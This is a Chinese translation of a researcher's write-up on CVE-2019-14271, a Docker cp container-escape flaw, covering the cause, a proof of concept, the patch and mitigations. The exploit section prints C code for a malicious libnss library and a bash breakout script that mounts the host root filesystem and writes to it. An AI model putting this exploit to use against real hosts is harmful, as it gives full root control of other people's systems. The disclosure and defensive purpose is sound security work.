添加链接
link管理
链接快照平台
  • 输入网页链接,自动生成快照
  • 标签化管理网页链接

0x00 前言

在过去几年中,研究人员在各种容器平台的copy(cp)命令中发现了几个漏洞,这些平台包括Docker、Podman及Kubernetes,其中最严重的漏洞直到今年7月份才被发现和披露。令人惊讶的是,当时这个漏洞并没有引起太多关注,这可能是因为该漏洞的CVE描述并不清晰,并且也没有公开利用代码。

CVE-2019-14271 是Docker cp 命令实现中存在的一个安全问题,攻击者可以利用该漏洞实现完整的容器逃逸。这是从2月份 runC 漏洞 公布以来第一个容器逃逸类漏洞。

如果攻击者先前已入侵了某个容器(比如通过各种漏洞、被泄露的私密信息等),或者当用户通过不可信源(registry等)运行某个恶意容器镜像,那么攻击者就可以利用该漏洞。如果用户随后执行了存在漏洞的 cp 命令,将文件从被入侵的容器中拷贝出来,那么攻击者就可以实现容器逃逸,完全控制宿主机以及其中的所有容器。

CVE-2019-14271的评估等级为“Critical”,已在 19.03.1 版的Docker中被修复。本文介绍了CVE-2019-14271漏洞,并提出了该漏洞的第一个PoC。

我和Ariel Zelivansky一直在密切关注主流容器平台上最近出现的copy漏洞,我们将于11月20日在San Diego的 KubeCon + CloudNativeCon 2019 上分享我们的 研究成果 。在会议上我们将分析过去已有的漏洞、不同的内部实现以及某些底层原因,解释这条简单命令为何难以妥善实现。我们还将讨论为解决该问题而开发的一些新的内核功能。

0x01 Docker cp

我们可以使用 copy 命令,将文件拷贝至/拷贝出容器,也可以在容器间相互拷贝。命令语法非常简单,与标准的Unix cp 命令类似。为了从容器中拷贝出 /var/logs ,我们可以使用该语法: docker cp container_name:/var/logs /some/host/path

如下图所示,为了将文件从容器中拷出,Docker使用了一个辅助进程: docker-tar

图1. 从容器中拷贝文件

docker-tar 的原理是 chroot 到容器中(如下图所示),归档其中请求的文件及目录,然后将生成的 tar 文件传回Docker守护进程,该进程负责将文件提取到宿主机上的目标目录中。

图2. docker-tar chroot 到容器中

执行 chroot 操作最主要的目的是避免符号链接(symlink)攻击,当宿主机进程尝试访问容器中的文件时就可能发生这种攻击。如果其中某个文件为符号链接,那么就可能被解析到宿主机的根目录,这样攻击者控制的容器就有可能通过容器的 cp 命令在宿主机上读取并写入文件。在过去一年中, Docker Podman 中已经有多个CVE与符号链接有关。通过 chroot 到容器根目录, docker-tar 就可以确保所有的符号链接已被正确解析。

不幸的是, chroot 到容器中存在一个副作用,当从容器中拷贝文件时,会造成更严重的后果。

0x02 CVE-2019-14271

Docker采用Golang编写,更具体一些,存在漏洞的Docker版本采用Go v1.11编译。在这个版本中,包含嵌入式C代码( cgo )的某些package会在运行时动态加载共享库。这些package包括 net os/user docker-tar 都用到了这两个package,会在运行时动态加载一些 libnss_*.so 库。正常情况下,程序库会从宿主机的文件系统中加载,然而由于 docker-tar chroot 到容器中,因此会从容器的文件系统中加载这些库。这意味着 docker-tar 会加载并执行受容器控制的代码。

这里要澄清一点:除了 chroot 到容器文件系统中之外, docker-tar 并没有被容器化。 docker-tar 运行在宿主机命名空间中,具备所有root功能,并且没有受 cgroups 以及 seccomp 限制。因此,攻击者可以将代码注入到 docker-tar ,就可以通过恶意容器获得宿主机的完整root访问权限。

当Docker用户从如下几种容器中拷贝文件时,就存在被攻击的风险:

  • 运行恶意镜像的容器,其中带有恶意的 libnss_*.so 库;
  • 攻击者在被入侵的容器中替换 libnss_*.so 库。
  • 在这两种情况下,攻击者都可以获得宿主机上的root代码执行权限。

    有趣的是,研究人员实际上是从某个 GitHub issue 中发现了该漏洞,当时用户尝试从某个 debian:buster-slim 容器中拷贝文件,但 docker cp 命令总是无法成功执行。当时的问题在于该镜像并没有包含 libnss 库,因此当用户运行 docker cp 命令, docker-tar 进程尝试从容器系统中加载这些库时,就会出现错误。

    0x03 漏洞利用

    为了利用CVE-2019-14271,我们需要构建一个恶意的 libnss 库,这里我选择的是 libnss_files.so 。我下载了该库的源代码,在源文件中添加了一个函数: run_at_link() 。我还使用 constructor 属性来定义该函数。 constructor 属性(GCC特定语法)表示 run_at_link 函数会在目标库被进程加载时作为初始化函数来执行,这意味着当 docker-tar 进程动态加载我们的恶意库时, run_at_link 就会被执行。 run_at_link 代码如下所示,这里我做了适当精简:

    #include ...
    #define ORIGINAL_LIBNSS "/original_libnss_files.so.2"
    #define LIBNSS_PATH "/lib/x86_64-linux-gnu/libnss_files.so.2"
    bool is_priviliged();
    __attribute__ ((constructor)) void run_at_link(void)
         char * argv_break[2];
         if (!is_priviliged())
               return;
         rename(ORIGINAL_LIBNSS, LIBNSS_PATH);
         fprintf(log_fp, "switched back to the original libnss_file.so");
         if (!fork())
               // Child runs breakout
               argv_break[0] = strdup("/breakout");
               argv_break[1] = NULL;
               execve("/breakout", argv_break, NULL);
               wait(NULL); // Wait for child
         return;
    bool is_priviliged()
         FILE * proc_file = fopen("/proc/self/exe", "r");
         if (proc_file != NULL)
               fclose(proc_file);
               return false; // can open so /proc exists, not privileged
         return true; // we're running in the context of docker-tar
    

    run_at_link首先会验证代码运行在docker-tar上下文中,这是因为其他正常的容器进程也可能加载该库。代码通过检查/proc目录完成该操作。如果run_at_link运行在docker-tar上下文中,那么该目录将为空,这是因为挂载到/procprocfs只存在于容器的mount命名空间中。

    接下来,run_at_link会将恶意库替换为原始的libnss库。这样能确保利用代码运行的后续进程不会意外加载恶意库,避免再次执行run_at_link

    随后,为了简化利用过程,run_at_link会尝试运行容器中的/breakout可执行文件。这样后续利用代码就可以在bash中完成,不需要依赖于C。后续利用逻辑不受限于run_at_link,这也意味着当利用代码有改动时,我们不需要每次都重新编译恶意库,只需要修改breakout程序即可。

    下图所示,当Docker用户运行恶意镜像(其中包含我们的恶意libnss_files.so库),尝试从容器中拷贝某些日志文件时,镜像中的/breakout程序就会执行。这里的/breakout是一个简单的bash脚本,会将宿主文件系统加载到容器的/host_fs,并将信息写入宿主机上的/evil

    图3. 利用CVE-2019-14271实现容器逃逸

    该视频中使用的/breakout脚本源码如下所示。为了获取宿主机根文件系统的引用,脚本将procfs挂载到/proc。由于docker-tar运行在宿主机的PID命名空间中,被挂载的procfs将会包含宿主机进程中的数据。该脚本随后会挂载宿主机PID 1的根目录。

    #!/bin/bash
    umount /host_fs && rm -rf /host_fs
    mkdir /host_fs
    mount -t proc none /proc     # mount the host's procfs over /proc
    cd /proc/1/root              # chdir to host's root
    mount --bind . /host_fs      # mount host root at /host_fs
    echo "Hello from within the container!" > /host_fs/evil
    

    0x04 漏洞补丁

    漏洞补丁修复了docker-tarinit函数,避免存在问题的Go package调用任意函数。补丁强制docker-tarchroot到容器前,先从宿主机系统中加载libnss库。

    图4. 补丁代码

    0x05 总结

    如果某个漏洞能够在宿主机上执行代码,那该漏洞将非常危险。用户应确保当前运行19.03.1版或更高版本的Docker,这些版本中已经修复了该问题。为了限制这类漏洞的攻击面,我建议大家永远不要运行不可信的镜像。

    此外,如果不是特殊情况,我建议大家以非root用户运行容器,这样能进一步提高容器安全性,避免攻击者利用容器引擎或者内核中存在的各种问题。对于CVE-2019-14271漏洞,如果容器以非root用户运行,那么当前环境仍然安全。即便攻击者成功入侵容器,也无法覆盖容器的libnss库,因为这些库归root所有,因此攻击者无法利用该漏洞。Ariel Zelivansky还发表过一篇文章,其中介绍了以非root用户运行容器的各种优点,供大家参考。